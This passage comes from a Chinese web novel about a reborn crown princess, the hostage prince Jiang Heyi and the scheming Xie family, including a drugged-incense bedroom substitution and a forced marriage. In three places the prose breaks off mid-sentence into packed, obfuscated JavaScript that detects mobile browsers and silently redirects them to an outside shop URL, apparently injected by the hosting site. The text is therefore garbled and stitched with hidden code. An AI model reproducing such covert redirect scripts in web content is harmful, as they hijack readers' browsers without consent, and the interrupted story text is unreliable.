卫迟风低声道:“与江鹤一一同来昭国的医师苏明烨,昨日不知为何忽然病重,江鹤一离开东宫回到住处后,一个时辰不到,又急匆匆去找了谢筠,我猜他应当是去求药的。可奇怪的是,臣仔细问过与他们有接触的宫女和太监,所有人皆称江鹤一与苏明烨素来不和,关系甚是恶劣,为何江鹤一会为苏明烨去求谢筠?” “确实奇怪。”许长宁蹙眉道。 江鹤一以卑贱姿态示人,应当是为了生存,从前世那些年的相处中,她知晓他的骨子里还是有傲气的。 他为何会为了一个与自己关系恶劣之人,主动去求自己厌恶的昭国人? 许长宁光着脚便站了起来,在屏风后往返踱步思索。 似乎因为某种原因,许多与江鹤一相关的事,都在发生微妙的变化。 莫非是苏明烨与江鹤一的关系也生出了变数,才促成了江鹤一与谢筠的合作? 前世的苏明烨,在她与谢筠成婚两年后病逝,她之所以印象深刻,是因为江鹤一母亲,燕国皇后周徽音之死。 燕皇江阙的宠妃虞妃,意外发现周徽音曾与太医私通,燕皇一怒之下处死了周徽音。 民间甚至有传言称,江鹤一是周徽音与那太医的野种。 而那太医,正是随江鹤一一同来昭国的苏明烨。 周徽音死讯传出后不久,苏明烨便病死了,许长宁听说,江鹤一恨苏明烨恨到连棺材都没有置办,直接用一张草席裹着他的尸身葬了…… 若眼下江鹤一与苏明烨的关系有了变数,那她所知的一切,还会如前世那般发生吗? 许长宁思绪混乱,有些烦闷地摁了摁眉心,对卫迟风道:“继续盯着他,有必要时出手相助,别让苏明烨死了。” 江鹤一的行为,说明苏明烨是他的软肋。 如今她不知江鹤一是否会变,掌握他的一处软肋自是没错,日后她是保护他的软肋,或是利用,便看江鹤一的表现了。 薛竹铃听得云里雾里:“那燕国质子何时来过东宫了?” 许长宁看她好奇,便将昨夜谢筠找江鹤一行替换之事告诉了她。 薛竹铃听到一半便已脸色全变,听完来龙去脉后,整个人已经气得小脸涨红,千言万语化作了一句话:“我要去把江鹤一剁了!!” 眼看着薛竹铃撸起袖子,抄起腰间的匕首要冲出去,卫迟风忙将她拽回来,让她冷静一些。 “竟敢如此欺负殿下!这些狗崽子都活腻了!”薛竹铃个头不大,气势却十足,嗓门极大,凶神恶煞道,“卫迟风你也来帮忙!我带路,你剁人!” 看许长宁一直光着脚在踱步沉思,卫迟风知她心烦意乱,便附在薛竹铃耳边低声劝道:“你现在去剁人,只会让殿下更心烦。” 薛竹铃闻言,马上便冷静下来,回过头去看许长宁。 许长宁遇到想不通的烦心事时,便会光脚行走,边走边思索,这是只有他们二人知道的事情。 薛竹铃沉默片刻,似是下定了某种决心,把匕首塞到卫迟风手里,一溜烟跑了出去,卫迟风抓都抓不住。 过了一会,薛竹铃便鬼鬼祟祟地抱着什么回来了。 她用外袍紧紧裹着,四处张望,像是怕被人看到,在卫迟风狐疑的目光中,她关紧了寝殿的门。 随着门吱呀一声,薛竹铃的怀里也发出了一声响。 “喵~” 许长宁的思索被这一声天籁般的叫声打断,她双眼一亮,朝薛竹铃看来,薛竹铃咧嘴笑笑,将怀里抱着的小黑猫露了出来。 “小煤球!” 小黑猫一听见许长宁叫它,便从薛竹铃怀里跳下来,向许长宁跑去,一个劲儿地蹭她的腿,蹭了几下后便躺了下来,朝许长宁露出了肚皮。 许长宁蹲下来,开始“蹂躏”小黑猫,不自觉地露出了笑颜。 这只通体黑乎乎的小猫,是她前不久在御花园捡的,当时小猫受了伤,她哄了许久,才把小猫哄好。 小猫很聪明,也很黏人,可惜她不受猫气,接近猫便会喷嚏连连,父皇母后都不允许她与猫过于亲近,所以猫只能养在薛竹铃住的暖阁里,她偶尔过去看一眼。 “殿下还病着,与小煤球玩耍是否有些不妥?”卫迟风话语中并无责怪之意,只是有些担心。 “殿下开心了,病自然会好的。”薛竹铃看着许长宁笑了,小脸上尽是得意。 果然,只有她最懂得讨殿下欢心。 卫迟风看着薛竹铃上扬的嘴角,也笑了笑。 如此,一声声娇软的猫叫,伴随着一声声喷嚏声,将清晨的东宫唤醒了。 许长宁抚着怀里的煤球,心情大好,胃口也好了起来,连吃了两个薛竹铃煎的肉包子,随即又听到了一则好消息——许昭临醒了。 许长宁本想立即赶过去见父皇,但出门前又连打了好几个喷嚏,想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741892|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,还是决定先更换一身衣裳,整理好仪容再去见父皇。 她一路匆匆,满心欢喜。 六年了,她失去最爱她的父皇,已经整整六年。 她迫不及待地想要听父皇唤她的名字,想抱一抱父皇,想与他一起吃一顿饭…… 而且,有一个极为重要的线索,她需要告诉父皇,或许这条线索可以助他们扳倒谢家。 许长宁越接近昭宸殿,却越发现不对,前方不断有嘈杂声传来,还有很多人匆忙地奔入昭宸殿。 她按捺住不安,加快步伐,然而当她冲入昭宸殿时,她发现里面已乱成了一团。 本该清醒过来的许昭临,此时双眼紧闭,脸色惨白地躺在榻上,一众太医手忙脚乱地围着他,正在紧急施救。 许长宁怔在原地,手止不住地发颤。 这一幕,与前世许昭临“病逝”之前一模一样,只是地点从御书房,变成了昭宸殿。 她以为她改变了命运,却发现自己只是被命运玩弄了。 * 在许昭临醒来,到许长宁来到昭宸殿的短短两刻钟内,许昭临再一次被毒害。 他喝下太医的药后不久,便捂着心脏倒下,不省人事。 与上次御书房的茶水一样,药里查不出毒,一众太医坚称许昭临是心疾发作,而非中毒,但许长宁不信。 她看着跪在面前的太医,看着那些宫女太监,还有殿外的龙武军,忽然觉得毛骨悚然。 从前她以为,谢家势力是在谢筠与她成婚后,才渐渐渗透这座皇宫。 可现在看来,似乎所有人都不可信,所有人,都有可能是谢家的走狗…… 他们的手,伸得比她想象中的还要长。 太医告诉她,许昭临虽保住了性命,但醒过来的希望非常渺茫。 许长宁命东宫卫士寸步不离地守着许昭临,随后回到东宫,将自己锁在寝殿里,一整日都没有出来。 薛竹铃和卫迟风守在门外,担心不已,又不敢去打扰。 直至深夜,薛竹铃待不住了,不顾卫迟风劝阻,爬窗进了殿内。 殿内灯火昏暗,薛竹铃一下子没看见许长宁身在何处,蹑手蹑脚往里面走了几步,才看到了她的殿下。 许长宁光着脚,抱着双膝靠坐在角落里,面前散落了一地的纸张,上面写满了潦草的字。 她双眼无神,直直地望着那些纸张,神情已是疲惫至极,知道薛竹铃偷跑进来,也没有抬眼。 薛竹铃仅见过这样的许长宁一次,十二年前,她从和宁宴那场刺杀中存活下来,第二日醒来,便是这副模样。 无措,无助,脆弱。 薛竹铃一下子便红了眼,冲上去紧紧抱住许长宁。 “殿下……您吃点东西好不好……” 许长宁没有动,仍是看着纸上写的东西。 半晌后,她哑声道:“竹铃,你出宫吧,明日便走。” * 江鹤一的前世日志·四 许长宁登基了,成为了昭国第一位女帝,但她在朝中的权力,似乎较从前还是皇太女之时更为不堪。谢筠身为皇夫,光明正大摄政,其父谢望松又是左相,朝中诸多大臣开始肆无忌惮地打压许长宁,听闻每日的朝会,都极为热闹…… 其实许长宁辅政多年,又监国多年,本事应当比谢筠大,这群男臣却因她身为女子,便认为她的决策不如谢筠,私下也对许长宁多有非议,如此看来,昭国更像是一个笑话了…… 今日,我看见她立于树下,望着一只被蜘蛛网缠住的虫子许久,忽然觉得她与我似乎有些同病相怜。虽然如此说,显得我高看了自己,但这个女人的处境,确实也糟糕。我们皆是那只被蜘蛛网束缚的虫,挣扎却无望,只能等待死局……她是否会如我一般,偶尔感到害怕? 但我总觉得,这个女人不同于寻常女子,若她下定决心,应当会做出些不一般的事情来…… 6. 逼婚 许昭临中毒之时的场景,让许长宁意识到,命运是不会轻易被改变的。 前世所有的事情,很可能都会再度发生。 江鹤一与谢筠的合作也是一样,即便换了时间,换了地点,也还是发生了。 她承认,自己慌了。 她把自己关在寝殿内,将前世发生的一切,一件件写了下来,写完后惊觉,她身边的所有人,所有她在意的人,都会因为她与谢家对抗而一个个走向死亡。 她若与谢家作对,命运可能会重复,她若不与谢家为敌,谢家也不可能会放过她…… 她不怕死,却怕看着身边在意的人因为她而死。 “你想嫁人,我便为你寻一良人,你想做生意,我便为你盘几间铺子……” 许长宁对眼前一脸惊讶的薛竹铃继续说道。 但她尚未说完,薛竹铃便憋不住了,爆发出凄厉的哭声,惊得窗外树上歇息的鸟儿都飞走了。 砰的一声,寝殿锁上的门被猛地撞开,卫迟风满脸紧张地冲了进来,还打了个趔趄,堪堪稳住时,便看到许长宁好好的,不由得愣了一下。 薛竹铃这个哭声,他还以为许长宁出事了…… 许长宁也没想到薛竹铃哭得如此凄惨,忙把她抱进怀里,朝卫迟风挥挥手,示意他出去。 “殿下为什么不要我了……是不是我哪里做得不好……”薛竹铃紧紧抱着许长宁,死死揪住她背后的衣裳,哭得上气不接下气。 许长宁轻叹一口气,抚着她的后背,感觉似乎回到了许多年前,薛竹铃还是个小娃娃的时候。 “竹铃,我给你讲个故事可好?” 薛竹铃机灵得很,对于哭这个技能,拿捏得甚是到位,许长宁不再说要她走的话,她马上收敛哭声,埋在许长宁怀里点了点头。 “你可相信,人死后,可以重来一世?” * 喧闹的东宫归于平静,被惊走的鸟儿又飞回了巢里。 薛竹铃红肿着眼,看着许长宁,吸了吸鼻子:“所以,殿下是重生了?” 许长宁抬手擦掉她脸上的泪珠:“你信吗?” “信!殿下说什么,竹铃都信。”薛竹铃往许长宁身边蹭了蹭,“那殿下是担心我会死,所以才要我走吗?” “不然呢?我们竹铃如此好,我怎舍得让你离开?”许长宁柔声道,“我不知自己能否成功改变一切,但我至少要保护好你们,你先离开,待我安排好一切,也让迟风——” “我不走,我死也不离开殿下,卫迟风也是,打死都不会走。”薛竹铃搂住许长宁的手臂,开始耍赖。 门外的卫迟风恰好打了一个喷嚏。 许长宁轻笑一声,低头看薛竹铃:“你不怕吗?” 薛竹铃不答反问:“殿下怕吗?” 许长宁沉默片刻,头轻靠在墙上:“怕。” 怎会不怕? 看着父皇又一次倒下,她怎会不怕? 看着纸上那一条条人命,她怎会不怕? 抛开一切,她也只是个普通人,并非生下来便具有抗争的胆量与能力。 她不甘心,所以拼尽所有勇气去反抗,但不代表她无所畏惧,坚不可摧,她也会害怕…… 薛竹铃仰起脸,将下巴垫在许长宁的肩头,又问:“那殿下可会继续对付谢家?” 许长宁答得干脆:“我别无选择。” 即便害怕,即便可能会再次失败,她也绝不退缩。 为了阿兄,为了父皇,为了前世那些为守护她而逝去的生命,她也要奋力一搏。 “那我也一样。”薛竹铃笑道,“殿下便是竹铃唯一的选择。” 许长宁侧头望去,心中寒意顿时被薛竹铃的笑所驱散大半。 这个小傻瓜…… 许长宁摸了摸她的脸:“这可是关乎你的小命,你不犹豫一下?” 薛竹铃神色极为认真:“我七岁那年上树掏鸟蛋,脚滑摔下来,殿下伸手接我的时候,可有犹豫?” 当年,薛竹铃想给许长宁送生辰礼物,但又没有银子,便打算掏几个鸟蛋,孵出小鸟送给许长宁,怎知上了树便下不去了。 当她支撑不住,失足跌落时,恰好被来寻她的许长宁看到,许长宁飞奔到树下接她,她平安无事,许长宁却因此手臂骨裂,足足养了两个月才好。 许长宁骗所有人,说是她自己摔伤的,薛竹铃差点哭瞎了眼,粘着许长宁寸步不离,从此安安分分,再也不敢调皮了。 “那不一样——” “不管不管我不管!”薛竹铃不给许长宁往下说的机会,继续耍赖。 许长宁哭笑不得:“可我记得,你说过你有大野心,大志向,与其陪我冒险,去做你最想做的事情不好吗?” 薛竹铃忽然脸上发热:“只、只有待在殿下身边,才能实现……” “能告诉我吗?”许长宁有些好奇。 薛竹铃更害羞了,支支吾吾半晌,才小声答道:“我、我想把殿下,养得白白胖胖漂漂亮亮,陪着殿下到老,做、做殿下孩子的乳母,成为殿下身边最得宠的老嬷嬷……” 许长宁忍不住噗嗤一声笑了,薛竹铃红着脸道:“殿下不准笑话我!” “我是开心。”许长宁微笑道。 “所以,为了让我实现我的野心,殿下一定要想办法活到一百岁。”薛竹铃勾着许长宁的小指,看了眼遍地的纸张,“您已经有了计划,对吧?” 许长宁拿起其中一张,目光变冷:“谢筠曾送给我一条线索。” “你可知他为何要找江鹤一行替代之事?他说,十二年前和宁宴,我曾落入山匪之手,被辱了清白。” 薛竹铃两眼一瞪,当即炸了:“胡说八道!我让卫迟风去把他剁了!!” 许长宁早知薛竹铃会如此,已提前将她紧紧按住:“谢筠好洁成癖,人人皆知,他那时的神情和语气,不似在骗人,而且他是低声对我一人说的,我已落入绝境,他没必要骗我。我虽已不记得和宁宴那日的事情,但我听过的所有消息,看过的所有卷宗,都说杀害阿兄和弟弟妹妹的,是燕国刺客。但谢筠却说,是土匪。” 薛竹铃惊坐起,倒吸一口气:“谢狗贼很可能掺了一脚!” 许长宁攥紧了手中的纸,冷笑道:“不错,若能找到证据,便可光明正大治他们的罪,杀害皇嗣,诛九族都不为过。身为世家之首,谢家要是倒了,其他人也不敢造次了。” “事不宜迟,让卫迟风现在就把谢狗贼抓来严刑拷打!”薛竹铃双眼放光,跃跃欲试。 许长宁戳了戳她的脑门:“不行,且不说屈打成招无法服人,如今我尚未摸清谢家在朝中的势力,不能贸然行事。” 谢筠也不过是谢家放在明面上最大的棋子,因为他能借婚事,名正言顺地掌握皇权,而他背后的谢望松,谢家家主,又位列昭国左相,才是最大的执棋者。 薛竹铃摸着脑门“哦”了一声:“那殿下第一步要做什么?” “试着阻止即将到来的逼婚,不能让谢家名正言顺地从我手中分走权力。” * “殿下!请您尽快择翊圣郎成婚!太祖皇帝曾立国律,储君临危继位,太子可待婚,太女必已婚,以全阴阳纲常,固社稷根基。如今陛下病情一日重过一日,若有不测,殿下未成婚便不能登临大宝,届时国无君主,必生内忧外患!” 含元殿内,许长宁正要反驳礼部尚书的话,右相严伯钧抚着花白胡须出列。 他面色沉肃:“殿下,您是女子,本就担着非议临朝,万不能再违逆祖制!老臣今日斗胆进言,这婚,您非成不可!为了昭国的江山,为了万千百姓!” 纲常、社稷、国本、祖制……激烈的字字句句,压得许长宁毫无喘息的余地。 被架到这个份上,但凡她反驳一句,便是大逆不道。 许长宁看了眼一直沉默的谢望松,心中冷笑。 “左相认为如何?这婚,孤该不该成?又该与谁成?” “臣认为,殿下应当遵守祖制,尽快成婚。”谢望松脸色从容,不像严伯钧那般激动,言语也甚是温和,“至于翊圣郎人选,自是经由礼部卜选后,殿下再做选择。” “好,好得很。”许长宁忍着一腔怒意,拂袖下了朝。 她料到阻止成婚一事不易,但再一次被逼,心情实在好不起来,一张脸黑得无人敢上前搭话。 偏偏有人要往她跟前凑,早就候在她回东宫的路上。 “秘书郎,孤今日不想再与人说什么。”许长宁懒得与谢筠惺惺作态。 “臣正是知殿下心烦,才在此处等候殿下。” 谢筠知晓这正是关键之时。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741893|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >若他能做解语花,讨得许长宁欢心,成婚一事会更顺利,他不允许这件事有丝毫差错。 眼下面对许长宁更明显的需求,他只能用更为激进的行为来讨她欢心。 “殿下今夜,可否为臣留一条出入的密道。”谢筠话音温柔,好似春风,“臣自前日……便甚是思念殿下,让臣继续为殿下解忧,可好?” 许长宁本觉得厌烦,心中却忽然生出一个主意。 她看向谢筠,阴沉的脸露出一抹笑意。 “谢公子如此有心。”她抬起手,轻轻挑开谢筠围在脖子上的颈裘,看见了一道咬痕,嘴角轻扬,“孤怎舍得辜负?” * 是夜,许长宁命卫迟风将寝殿附近的卫士集中在正门,于后方留出了一条无人巡查的通道。 她沐浴过后,半卧于榻上,只着单衣,静候来人。 时至亥时,她看到有一道身影出现在后窗,抬手敲了敲窗户。 “进来吧。” 许长宁话音落下,谢筠便从窗户翻了进来。 “殿下夜安。”谢筠与上次一样隔着屏风席地而坐,在一旁的香炉里点燃了一块香料,“这是臣亲手调配的一款香,可助殿下安神。” 许长宁懒懒地“嗯”了一声:“谢郎今夜,想与孤聊什么?” “筠知殿下今日为国事心烦,不如为殿下讲两则有趣的话本故事如何?” “甚好。”许长宁放下手中书籍,侧身面向屏风,以手撑头。 她望着屏风后的袅袅轻烟,嘴角微扬。 月上中天,清辉透过窗棂落在殿内的地板上,碎成一片冷白。 夜风不知何时停了,连廊下的铜铃也敛了声息,只有香炉里的沉香偶尔爆出细碎火星,在寂静中漾开一圈涟漪。 谢筠说话轻柔,几乎与夜色融为一体,格外令人昏昏欲睡。 半个时辰不到,寝殿中便只剩下他一人的声音。 谢筠绕过屏风,看见许长宁已然躺下,便试探性唤了一声:“殿下?” “嗯……”许长宁的声音听上去疲惫又迷糊。 片刻后,更为消瘦的一道身影在榻边坐下。 望着藏身于暗处看着他的谢筠,江鹤一终是缓缓松开了紧攥的拳。 他轻呼一口气,不断在心中麻痹自己,为了保住苏明烨的命,为了有生之年能回到燕国,这些屈辱又算什么? 不过是,逢场作戏罢了…… 他狠下心,一只手托住许长宁的脖颈,直接俯身去蹭她的脖子。 见江鹤一开始行动,许长宁也给予了回应,双手攀上了江鹤一的背,谢筠便将殿内的烛火吹灭,从后窗悄然离开。 他看见这一幕都觉得恶心,身上的伤疤止不住地发痒。 江鹤一也觉得浑身在发痒,但他心中那股恶心,却因许长宁身上的淡香而被冲淡。 很奇怪,他每每闻到这股香气,身体便会不自觉地放松下来,犹如一种本能的反应。 似是因为熟稔,又似是因为喜欢…… 江鹤一逐渐沉迷,竟一度失控,主动拉扯许长宁的衣裳,要接触到她更多的肌肤,寻找更浓郁的香气。 仿佛他才是中了迷香之人,一时如饥似渴,昏沉迷离。 但明明他已提前服下可以保持清醒的药物…… 为何……会这样? 江鹤一抓住那一丝游离的清醒,猛地起身抽离,意识渐渐回笼后,他方才察觉自己有多荒唐,忙起身要逃离。 怎料,一只有些冰凉的手倏地攥住了他的手腕。 他的眼角余光看到,榻上本已接近昏睡之人,竟缓缓坐了起来。 身后女子发出一声低笑,他不由得浑身一僵。 “情爱之事只做一半便走,不妥吧?江鹤一。” * 江鹤一的前世日志·五 我虽然已多次试验过迷香的药效,但心中总有些不安……她在行事过程中,力道不似中了迷香之人,不过每次确实都会在最后一步之前陷入昏睡……近日我观察她的睡颜,总觉得她睡得并没有那么沉,但也没有醒来的迹象,应当……还是安全的…… 只是每每这个时候,听着她的呼吸声,我总忍不住胡思乱想,若有一日她发现了,我会被如何处置? 恐怕……再也见不到第二日的太阳了吧…… 7. 暴露 在许长宁说出他的名字后,江鹤一几乎没有思索,便立即跪下,额头触地,颤声求饶。 “殿下饶命……小人……小人知罪……” 许长宁看着他伏于地面,背脊在发颤,连声音里都带着哭腔,嘴角微微上扬。 又是这一招。 她对他实在太过熟悉,一听便能听得出来,他的颤抖有九分是在演戏,此时心里指不定在如何骂人呢。 江鹤一看上去没有骨头,却是一个临死前都要逞强几句的人。 许长宁很清楚,他不怕死,故不会因此颤抖至此。 对于现在的他而言,卑躬屈膝只是他最基础的手段罢了。 万事先求饶,以弱示人,惹人心软,让对方充分感受到上位者的滋味,再通过姿态的高低之别,让对方感觉已尽了羞辱之欢,也许便会不再与他计较了。 江鹤一八岁便来敌国当质子,若没有这点本事和小聪明,活不到现在。 聪明很好,许长宁今夜戳穿他,便是要好好看看,他这份聪明要为谁而用。 她整理好被江鹤一扯歪的衣裳,不紧不慢道:“你有何罪,说来听听,若坦诚,我可饶你。” 江鹤一低着头,血液倒流,一时觉得头脑发胀,心跳加速。 怎会被发现了!明明燃着迷香啊! 眼下谢家在朝中的势力明显比许长宁更为强大,他若是将谢筠供出来,定是死路一条,可若他不供出谢筠,擅闯东宫,亦是死罪难逃…… 他要怎么说,才能保住性命? 江鹤一疯狂地思考,脑中忽然再度浮现,那日在御书房前,许长宁对他的所作所为。 差点忘了,这个女人第一次见面便对他动手动脚了! “自从那日在御书房,小人见了殿下一面后,便对殿下魂牵梦萦!” 江鹤一抓住了救命稻草,惶恐之余,仍不忘演出几分羞涩,“殿下那日既宽恕了小人,又是那般明艳动人,小人……心中敬仰,夜夜难寐……今日小人想亲自来谢恩,但不敢通报,见后殿无人把守,殿下寝殿的窗户又开着,就、就偷偷进来了。殿下喃喃自语,小人以为殿下在唤小人,可刚走近榻边,殿下便……将小人拉到了榻上……” 许长宁听了这一番说辞,几乎要为江鹤一鼓掌。 为了不供出谢筠,他还真是把她当成傻子来哄啊…… “那岂不是我轻薄了你?”许长宁哼笑道。 “这是小人的无上荣光……”江鹤一默默咬紧了牙关。 许长宁沉默片刻,随即光着脚站了起来,立于江鹤一面前。 她微微俯身,裙摆带着她的香气,轻扫过江鹤一的头顶。 “你觉得我会信吗?” 她随即转身离开,裙摆也从江鹤一的一侧扫过,带起一阵微风,吹得江鹤一透心凉。 “你若坦诚,我尚可饶你,但既然你满口胡言,我便让别人来审——” 许长宁唬他的话尚未说完,忽然被人小心翼翼地握住了脚踝。 江鹤一的手掌粗糙,与谢筠细皮嫩肉全然不同,但他掌心那股熟悉的温热,却比细皮嫩肉更令许长宁舒适。 此刻,这双有茧的手,贴在了她的皮肤上,一只手顺着她的脚踝,试探地向上移了一寸。 “小人绝无半句虚言……” 江鹤一抬起头望向许长宁,哀求道,“小人愿做殿下的奴才,伺候殿下,哄殿下开心,为殿下做牛做马……” 许长宁垂眸望去,迎上了江鹤一的目光。 他眸中闪着星星点点的水光,宛若清凛湖中掉进了一颗小石子,他的衣襟被拽得歪斜,露出了些许身上的伤疤,整个人就像一盏精致但又尽是裂痕的玉器。 多看两眼,都要让人于心不忍。 但许长宁的脸色却沉了下去。 江鹤一言行举止如此卑微,令她不悦。 他如此卑微,却是在极力替谢筠掩盖,令她愈发不悦。 明明她给了他机会,但他还是选择骗她…… 许长宁眉心微蹙,掐住江鹤一的下巴,猛地抬起,寒声道:“江鹤一,你本该是那河中央的白鹤,遗世独立,或鹤立鸡群,可如今,怎么活成了鸡的模样?” 江鹤一瞳眸一颤,神色沉了下去,似是被击到痛处,伪装得严密的情绪被撕开一道裂痕。 半晌后,他脸上浮现一闪而过的讥笑,低声道:“鹤的脖颈腿脚被人折断,塞进囚笼中,若不像鸡一般乞食求生,恐怕早已化为白骨。” “殿下,小人的命虽不值钱,但小人还是想活着……” 想有朝一日,能回到他的家,再见他的家人一面…… 许长宁望着他的眼眸,许久没有作声。 说了这么多,恐怕只有这两句是他的真心话。 “可是怎么办?”许长宁阴沉的脸色顿时消散,她玩味一笑,“比起鸡,我更喜欢鹤。” 江鹤一闻言,眼中的不甘与愤懑几乎要溢出来,在他低下头掩饰的瞬间,还是被许长宁看到了一丝破绽。 他缓缓松开握着许长宁脚踝的手,垂着头许久未语。 他盯着自己跪在地上的双膝,忽然觉得地面好硬,跪得有些疼。 “那小人无能为力,任殿下处置便是。”他的声音中多了几分颓丧。 许长宁负手行至屏风前,用茶水浇灭了香炉中的迷香,语气幽幽:“擅闯东宫,自是死罪。” “除非,你于我有利用价值,我便可以考虑留你一命。” 江鹤一闻言,嘴角微微扬了扬。 果然,许长宁即便嘴上不认,但还是对他有几分青睐的。 江鹤一再度伏拜,坚定道:“殿下有何吩咐,小人万死不辞。” 许长宁没有再看他,只是用小棒挑出香炉中的迷香:“今夜我已乏了,你明夜再来一趟,我与你详谈。” “此外,还请江郎君明夜好好证明一番,今夜所说,句句属实。若你敢不来,或还敢骗我,就休怪我手下不留情了。” “从何处来,便从何处走吧。” 许长宁一直背对着江鹤一,她不想看到他那副模样。 “谢殿下。” 江鹤一并未多言,礼数做足后,即刻爬窗离开。 直至远离东宫,他一直紧绷的精神终于得以松懈几分,可心中的悲戚和嘲讽亦随即涌了出来。 他本以为他已然麻木,不甚在意,可方才许长宁所说的话,开始在他耳边一遍遍回响。 “呵……”他靠着宫墙,微微仰头看向天边那轮孤月,“江鹤一……” 江烟栖鹤,孤一自清…… 这是母后为他取的名字。 “我还真是,玷污了这三个字啊……” 一个皇子,怎会活得如此卑贱? 卑贱到,连他都觉得自己恶心。 江鹤一轻笑一声,随即抚着斑驳的宫墙缓缓前行,左腿总是不听话地,比右腿慢半拍。 天寒地冻,左腿曾经的旧伤,又开始疼了。 * 薛竹铃发现寝殿内燃起了好几盏烛火,便知许长宁已经送走了“客人”,于是探头探脑地往寝殿里走。 她看到许长宁坐在桌案前,在纸上写字。 “殿下这么快便放他走了吗?”薛竹铃在许长宁身边坐下,习惯性地粘着她。 “他有心护着谢筠,恐怕三言两语难以说服他为我作证,万一他转头便去告知谢筠,就麻烦了。”许长宁一边答着,手中的笔也没有停下,“我需要时间与他细聊,但谢筠今夜估计还在盯着,便约他明夜再来。” 只要江鹤一在众臣面前作为证人,证明谢筠不愿意碰她,甚至找人替代他行房事,谢筠便休想再与她有任何瓜葛。 若谢筠无法与她成婚,谢家应当也不会允许其他人来坐翊圣郎之位,如此她便不必成婚了。 “我方才在外面,听见了几句,有些不明白。”薛竹铃把下巴垫在许长宁肩上,声音软糯糯的,“殿下前世与江鹤一关系亲密,为何方才要说那些话激他?” 许长宁闻言,笔下一顿。 一滴墨坠于纸上,染开一朵花。 似有遥远的声音,随微微夜风,传入她的耳中。 “陛下,小人此生最想要,但也永远求而不得之愿,便是做那江烟栖鹤,孤一自清,自由自在。” 那时,许长宁并不知他是江鹤一,以为他是谢筠从何处寻来的面首。 她以为他要的自由,只是出宫而已。 即便当时她的实权已被谢筠尽数夺走,成了一个空有名号的皇帝,但释放一个面首,应当不是难事。 思索许久后,她给出了她的答案。 “那我便放你离开,你去任意想去之地,做你的孤鹤。” 江鹤一并未如她想象中开怀,他轻吻她的手背,拒绝了她的提议。 “小人……非鹤,一身卑贱,亦无以为鹤,能得陛下垂怜,已是万幸……” …… 那是许长宁与谢筠成婚后的第三年,某日夜里,许长宁问起枕边之人有什么心愿,江鹤一给出的回答。 许长宁如今想来,能猜到为何江鹤一明明想回燕国,却没有顺着她的话,争取离开的机会。 江鹤一的母后在他们那次谈话的前一年,因私通太医之罪,被燕皇江阙赐毒酒处死,父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741894|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了杀母仇人,江鹤一彼时已无处可去,无家可归。 那时许长宁只知江鹤一不是谢筠,不知他是江鹤一,她觉得他在那段时间,整个人没有了心气,夜里也没有了乐趣。于是她直接挑明,她知晓他不是谢筠,并且要他一直留在她身边,好好服侍,他想要什么,她可以给他。 “小人想回家。”江鹤一在黑暗中轻声道。 “你家在何处,家中有谁?”许长宁好奇问他。 可江鹤一却沉默了,许久后才答道:“小人家中没有亲人了。” “那你为何还想回去?”许长宁有些不解。 “是啊……”身边躺着的人不答,反轻笑一声,“小人似乎……已经没有家了……” 那一夜,许长宁第一次在他的脸上,感受到一片冰冷的湿意。 自那之后,江鹤一再也没有提过回家一事,也没有向许长宁索要什么,只是一直留在她身边,即便她与谢家对抗,江鹤一也选择站在她这边。 许长宁猜想,他应当是希望有朝一日,可以靠着她这个昭国皇帝的势力,回燕国替他的母后向揭发私通一事的虞妃报仇。 可惜他站错了队,最后跟着她一起走向了死路。 他的心中,应当是埋怨她的吧…… “殿下?”薛竹铃看许长宁失神许久,便轻声追问道,“您方才说那些话,难道不怕江鹤一离您越来越远吗?还是说,您如今重来一次,不想再与江鹤一有瓜葛了?” 许长宁回过神来,清了清嗓子,以掩饰自己的失神:“江鹤一的事不重要。” “哦。”薛竹铃乖巧地没再发问。 许长宁在纸上写完最后几个字,将纸递给薛竹铃,让她叫人去准备一下纸上所写之物。 “男子的衣裳?”薛竹铃看着纸上内容,歪了歪头。 许长宁颔首,两次见江鹤一,他都穿得轻薄,衣裳上还有补丁,今冬格外冷,得给他多备几套暖和的衣裳。 “金疮药和化瘀紫金液?”薛竹铃继续念道。 许长宁补充:“多准备一些。” 他的身上还挺多瘀伤的,青一块紫一块,跟山水画似的,背上的伤疤倒是还没有前世那般多,备些上好的金疮药定是没错。 “归元固本膏,强筋生力散……虎骨壮元酒…………?”薛竹铃念不下去了,抬头望向许长宁,“殿下,这些药物的名字好生奇怪,都是治什么的?” 许长宁弯唇笑笑:“你那小脑瓜子,还不必知晓这些。” 江鹤一比起前世瘦了一些,手脚不如前世那般暖和,力道嘛……也不如前世…… 应当是吃得差,身子不是很好,必须补补…… 薛竹铃撇撇嘴,没再往下问。 这还叫不重要? 她家殿下也是个嘴硬的。 薛竹铃折好纸张,见许长宁站起来往外走,忙拽起一件外袍跟了上去。 